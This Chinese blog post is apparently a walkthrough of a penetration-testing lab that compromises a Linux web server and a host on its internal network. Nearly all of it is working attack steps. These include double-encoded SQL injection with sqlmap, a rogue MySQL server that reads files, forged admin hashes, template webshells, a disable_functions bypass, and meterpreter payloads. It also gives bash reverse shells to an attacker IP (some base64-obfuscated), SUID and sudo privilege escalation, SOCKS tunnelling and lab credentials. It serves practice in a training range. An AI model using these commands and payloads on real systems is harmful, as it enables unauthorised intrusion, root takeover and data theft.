暗月项目五-linux内网渗透测试

descript

账号、密码:

moonsec yanisy123

moon moonQWE123


渗透过程概述:

1、信息收集-->二次编码注入漏洞挖掘

masscan、nmap扫描端口,gobuster扫描目录,过滤Size,(网站有防护,其他工具扫永远返回200),search?keyword=11' 二次编码注入漏洞。

2、漏洞利用:Rouge-MySql-Servser.py读取mysql服务器文件,getshell

Rouge-MySql-Servser读取mysql服务器配置文件,登陆mysql。

doccms源码获取加密算法,生成hash,更新到数据库,登录后台,编辑模版getshell。

3、提权

宝塔提权、suid提权、sudo提权、linenum.sh+suggester+privchecker.py提权。

4、内网渗透

添加路由,扫描端口,访问80端口,信息收集,获取phpmyadmin账号密码并登陆,查看数据库,解密hash,登陆后台。通过后台面板 运行命令,发现面板是root权限。

通过ssh管理,生成并下载私钥,chmod 600 私钥,proxychains4 ssh 连接内网主机,得到root权限。


1、信息收集

1.1 主机发现

netdiscover

nmap -sn 192.168.0.0/24

1.2 端口扫描

masscan -p 1-65535 192.168.0.122 --rate=1000

nmap -sC -sV -A -p 21,80,888,3306,8888 192.168.0.122

descript

descript

1.3 gobuster 文件、目录扫描

网站有防护,目录扫描永远返回200。7kbscan 不好使

gobuster dir -u www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medinm.txt -x "php,html,ini,txt,rar,bak" -o dir.log --wildcard |grep -v "Size: 49"|grep -v "Size: 12800"

descript

1.4 绑定hosts

gedit /etc/hosts

192.168.0.122 www.ddd4.com

2、漏洞挖掘【sqlmap 二次编码注入漏洞(貌似没啥用)】

2.1 漏洞复现

2.1.1 http://www.ddd4.com/search?keyword=11'

descript

2.1.2 keyword 经过两次url编码 可复现注入漏洞

11' ===> %31%31%27 ===> %25%33%31%25%33%31%25%32%37

descript

2.1.3 http://www.ddd4.com/search?keyword=%25%33%31%25%33%31%25%32%37

descript

2.2 sqlmap 暴破

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py --current-db

descript

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com --tables

descript

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com -T doc_user --dump

descript

2.3 密码解密不出来,只能 获取加密函数,制作密码,更改到数据库

3、漏洞利用【Rogue-MySql-Server.py 读取mysql服务器文件,getshell】

MYSQL 服务器恶意读取客户端文件漏洞利用

3.1 Rogue-MySql-Server.py 读取mysql数据库配置信息

3.1.1 下载doc cms源码,发现 setup\checkdb.php 配置有连接数据库

descript

3.1.2 kali执行 python rogue_mysql_server.py

descript

3.1.3 浏览器访问www.ddd4.com/setup/checkdb.php?dbhost=192.168.0.102&uname=root&pwd=123&dbname=mysql&action=chkdb

获取 报错路径 /www/wwwroot/,本地生成mysql.log文件

www.ddd4.com/setup/checkdb.php

同时 cat mysql.log 查看日志输出,读取到 服务器 /etc/passwd 文件内容

3.1.4 rogue_mysql_server.py 取消27行注释,再次执行,读取 mysql 数据库配置 信息到本地mysql.log

descript

dbname www_ddd4_com

uname www_ddd4_com

pwd x4ix6ZrM7b8nFYHn

dbhost localhost

3.2 登录mysql,暴表

mysql -h 192.168.0.122 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn

descript

descript

3.3 阅读源码,获取加密算法,生成密码的密文,更新到数据库

3.3.1 获取加密算法,生成自定义密码 的密文

http://www.ddd4.com/admini/login.php   修改本地登陆页面,输出 密文

$docEncryption = new docEncryption("123456");

echo $docEncryption->to_string();

descript

descript

3.3.2 更新密文到数据库

update doc_user set pwd='4a8dq8y3e7c4a8d09csy9520943dcl64943941se10adc394ujba59abbe5ne057xf20f8y3e7c' where id=1;

descript

3.4 登陆后台,通过编辑模版getshell

编辑首页模版,ctrl+s 保存 shell

http://www.ddd4.com 首页即为 shell地址

descript

descript

3.5 突破宝塔disable_functions限制,上线msf

宝塔禁用了很多php的函数 ,试试 putenv 函数

菜刀虚拟终端无执行权限

3.5.1 菜刀上传 bypass_disablefunc.php 、bypass_disablefunc_x64.so

http://www.ddd4.com/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

descript

3.5.2 msf 生成后门,并开启监听

msfvenom -p linux/x86/meterpreter/reverse_tcp lport=4444 -f elf > ddd4.elf

descript

3.5.3 chmon 777 ddd4.elf 增加权限, 执行后门 ddd4.elf,上线msf

http://www.ddd4.com/bypass_disablefunc.php?cmd=chmod%20777%20ddd4.elf&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

http://www.ddd4.com/bypass_disablefunc.php?cmd=./ddd4.elf&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

descript

4、linux提权

4.1 第一种:通过宝塔控制面板提权

4.1.1 获取宝塔控制面板的账号密码,登陆控制面板

www@host123:/www/wwwroot/www.ddd4.com$ cd /

cd /home/host123

ls

cat bt.txt

descript

Bt-Panel: http://116.27.229.43:8888/944906b5

(公网ip,需要转换到靶机ip http://192.168.0.122:8888/944906b5/ )

username: gpeqnjf4

password: d12924fa

4.1.2 宝塔权限很大,通过执行 计划任务 ,以root权限连到kali

bash -i &>/dev/tcp/192.168.0.102/9002 <&1

descript

4.1.3 nc以web1.root权限执行ddd4.elf,连接到msf,获取root session

4.2 第二种:通过suid提权

4.2.1 find / -perm -u=s -type f 2>/dev/null ------发现find文件有suid属性

cd /tmp

touch test

4.2.2 find test -exec whoami \; ------ 调用find命令,并执行 目标指令

descript

descript

4.2.3 find ddd4.elf -exec ./ddd4.elf \;  上线msf

www@host123:/tmp$ cd //www/wwwroot/www.ddd4.com/

www@host123://www/wwwroot/www.ddd4.com$ find ddd4.elf -exec ./ddd4.elf \;

descript

 msf 重新监听,得到 root 权限 session,shell还是www权限

descript

 或者执行:

find test -exec su host123 \;

find test -exec sudo su root \; ------切换到root

descript

4.3 第三种:通过三大脚本提权(LinEnum.sh、linux-exploit-suggester.sh、linuxprivchecker.py)

LinEnum.sh 收集信息 (可能发现 历史记录里 的密码 yanisy123)

linux-exploit-suggester.sh 检测是否存在 cve 漏洞

linuxprivchecker.py 检测提权

4.4 第四种:通过sudo提权

使用 上面发现的密码,切换到root用户

python -c 'import pty;pty.spawn("/bin/bash")'

----》(解决报错su: must be run from a terminal)

su host123

sudo su root

5、内网渗透

5.1 主机发现【添加路由,扫描内网主机】

msf6 exploit(multi/handler) > sessions 2

meterpreter > run post/multi/manage/autoroute

msf6 exploit(multi/handler) > route print

aux.../scanner/discover/udp_sweep 模块发现存活主机

5.2设置代理

5.2.1 kali设置ew代理

nohup ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 &

ps -ef | grep ew -----查看ew进程

5.2.2 上传ew到web1,并设置代理

【nohup ./ew_for_linux64 -s rssocks -d 192.168.1.102 -e 1234 & 】

root@host123:/www/wwwroot/www.ddd4.com# chmod 777 ew_for_linux64

root@host123:/www/wwwroot/www.ddd4.com# ./ew_for_linux64 -s rssocks -d 192.168.0.102 -e 1234

5.3 信息收集

5.3.1 端口扫描

proxychains4 masscan -p 1-65535 10.10.10.144 --rate=1000

proxychains4 nmap -Pn -sT -sV 10.10.10.144 -p 80,21,22,8080

descript

5.4 通过后台 安装模版moonsec ,getshell

http://www.ddd5.com/admin/ admin 123456 登陆后台

descript

shell地址:

http://www.ddd5.com/content/templates/moonsec/shell.php?cmd=whoami

http://www.ddd5.com/content/templates/moonsec/shell.php?cmd=chmon%20777%20ddd4.elf

蚁剑设置代理 ,连接webshell 

5.5 提权

5.5.1 访问10.10.10.144:80

descript

5.5.2 登陆phpmyadmin,获取 后台管理员 账号密码

http://10.10.10.144:8080/phpmyadmin/  root  wdlinux.cn

descript

admin 17d.....

somd5解密: moonsec123

5.5.3 登陆后台

http://10.10.10.144:8080/  admin  moonsec123

发现 命令执行 功能 ,尝试 base64 编码,行不通

bash -i &>/dev/tcp/192.168.0.102/9001 <&1 |base64

$(echo 'YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMC4xMDIvOTAwNSA8JjE='|base64 -d)

`echo 'YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMC4xMDIvOTAwNSA8JjE='|base64 -d`

echo 'YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMC4xMDIvOTAwNSA8JjE='|base64 -d|bash

echo 'YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMC4xMDIvOTAwNSA8JjE='|base64 -d|sh

descript

5.5.4 下载 私钥, chmod  600 ssh_wdcp (chmon 777 不可取,权限太高 ssh连接时报错)

descript

Proxychainx4 ssh root@10.10.10.144  -i ssh_wdcp

得到root权限。

6、横向移动

7、权限维持

8、痕迹清理

9、总结

posted @ 2023-03-23 13:42  hello_bao  阅读(1620)  评论(0)    收藏  举报